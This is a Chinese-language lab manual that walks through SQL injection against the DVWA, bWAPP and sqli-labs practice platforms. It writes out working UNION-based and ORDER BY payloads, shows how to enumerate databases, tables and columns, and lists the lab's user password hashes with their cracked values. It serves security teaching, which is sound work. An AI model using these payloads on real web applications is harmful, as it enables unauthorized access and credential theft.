SQL注入漏洞实验手册
实验一:DVWA练习平台low安全级别SQL注入
访问地址:http://127.0.0.1/dvwa,用户名:admin,口令password,成功登录系统。
选择安全级别low,如下图所示。
选择SQL Injection实验,如图所示。
第一步:查找数据输入点,显然User ID是一个数据输入点,输入1-5,会有输入,如图所示,其他数据没有输出。
第二步:SQL注入点测试
首先测试一下是不是数字型的注入点,输入“1 or 1=1”,“1 and 1=1”,“1 and 1=2”,发现输出结果一样,初步判断不是数字型。
然后测试一下是否是字符型注入点,输入“1’”,则报错,如图所示,初步判断可能是一个字符型注入点。
输入“a' or 'a'='a”试试,成功登陆,效果如下图所示,说明这是一个字符型SQL注入点。
第三步:确定当前查询语句输出列数。
输入“1' order by 1 -- ”,正常输出,将后面的1变更为数字2,也能正常输入,如下图所示。
输入“1' order by 3 -- ”时,输出错误信息,如下图所示,说明当前查询语句只有两列数据。
第四步:确定查询信息输出点。
输入“10' union select 1,2 --”,输入结果如下图所示,说明有两个信息输出点,我们可以选择其中的任意一个输出点来输出信息。
第五步:确定当前用户和数据库信息。
输入“10' union select user(),database() --”,输出结果如下图所示,当前用户root@localhost,当前数据库dvwa。
第六步:列举当前所有数据库名。
输入“10' union select 1, group_concat(schema_name) from information_schema.schemata -- ”,输出结果如图所示,包括当前的数据库dvwa。
第七步:列举数据库dvwa中所有表名。
输入“10' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa' -- ”,输入结果如下图所示,包括两个表guestbook和users。
第八步:获取表users中的所有字段。
输入“10' union select 1, group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' -- ”,输入结果如下图所示,字段名有:user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
第九步:获取表users中的所有关键信息。
输入“10' union select 1,group_concat(user_id, 0x20, first_name, 0x20, last_name, 0x20, user, 0x20, password) from users --”,输入信息如下图所示,收集整理得到users中的信息如下表所示。
user_id |
first_name |
last_name |
user |
password |
1 |
admin |
admin |
admin |
5f4dcc3b5aa765d61d8327deb882cf99 |
2 |
Gordon |
Brown |
gordonb |
e99a18c428cb38d5f260853678922e03 |
3 |
Hack |
Me |
1337 |
8d3533d75ae2c3966d7e0d4fcc69216b |
4 |
Pablo |
Picasso |
pablo |
0d107d09f5bbe40cade3de5c71e9e9b7 |
5 |
Bob |
Smith |
smithy |
5f4dcc3b5aa765d61d8327deb882cf99 |
提示:这里的密码是经过MD5加密的,可以尝试暴力恢复密码,写一个脚本程序试试哦。利用MD5解密网站http://www.cmd5.com/,破解用户gordonb的密码是abc123, 用户1337的密码是charley,用户pablo的密码是letmein,用户smithy的密码是password。
实验二:bWAPP练习平台low级别SQL Injection (GET/Search)
访问http://127.0.0.1/bwapp,用户名bee,口令bug,安全级别选择low,登陆系统,如图所示。
选择SQL Injection(GET/Search),如图所示,然后点击Hack按钮,启动实验场景。
SQL Injection(GET/Search)实验场景如图所示,是一个电影搜索页面。
随意输入字符a,得到很多结果,大概可以判断它是根据输入的关键进行模糊搜索的。输入字符串a’,则报错,如图所示。
初步估计SQL语句的形式如下:
Select X,X,X,X from table_name where xxx like ‘%$key%’
输入a’ or 1 – 输出结果如下,可以确定以上猜测的SQL语句基本结构没有太大问题。
下面就是确定当前数据表的列数了,通过order by 操作实现。
输入a’ or1 order by 1 –(加上空格),结果正常,并且按照第一列(Title)排序,说明添加的order by 1语法正确,效果如图所示。
输入a’ or 1 order by 10 –(加上空格),结果出错,如图所示,说明当前数据表的列数少于10。
通过操作order by 后面的值,可以确定当值为7是正常,而当值为8时不正常,说明当前数据表的列数为7。
输入aaaa' union select 1,2,3,4,5,6,7 –(空格)(aaaa是搜索时没有记录匹配的字符串),结果如图所示,网页输出了2,3,4,5,在这几个位置可以输出我们想要的数据了。
输入aaaa' union select 1,user(),database(),4,5,6,7 –(空格),则输出当前的用户和数据库名,如图所示。
实验三:sqli-labs练习平台
访问http://127.0.0.1/sqli-labs/,选择Less-2,如图所示,启动实验场景。
Less-2-GET-Error based-Intiger based实验场景如图所示。
网页提醒使用ID作为输入参数,并且参数是整型,尝试输入id=1,网页正常输出,效果如图所示。
尝试输入id=1 and 1=1,输出效果和上图一样。尝试输入?id= 2,然后替换id后面的值,输入3-12都正常显示,13时没有信息输出。
尝试输入?id=1 and 1=2,则输出效果明显不一样,如图所示,说明输入的and 1=1和and 1=2是发挥了作用的。
尝试输入?id=13 or 1,则正常输出,可以确定了存在SQL注入漏洞了,估计的SQL语句形式如下:
select xxx from table_name where id=$id
下面测试一下当前数据表的列。
尝试输入?id=1 order by 1,正常输入。
尝试输入?id=1 order by 10,异常输出,最后经过测试,可以确定当前数据表的列数为3列。
尝试输入?id=13 union select 1,2,3,则2号和3号位置输出在Web页面上,效果如图所示。
输入?id=13 union select 1,user(),database(),则可以得到当前登录用户名和当前数据库名,如图所示。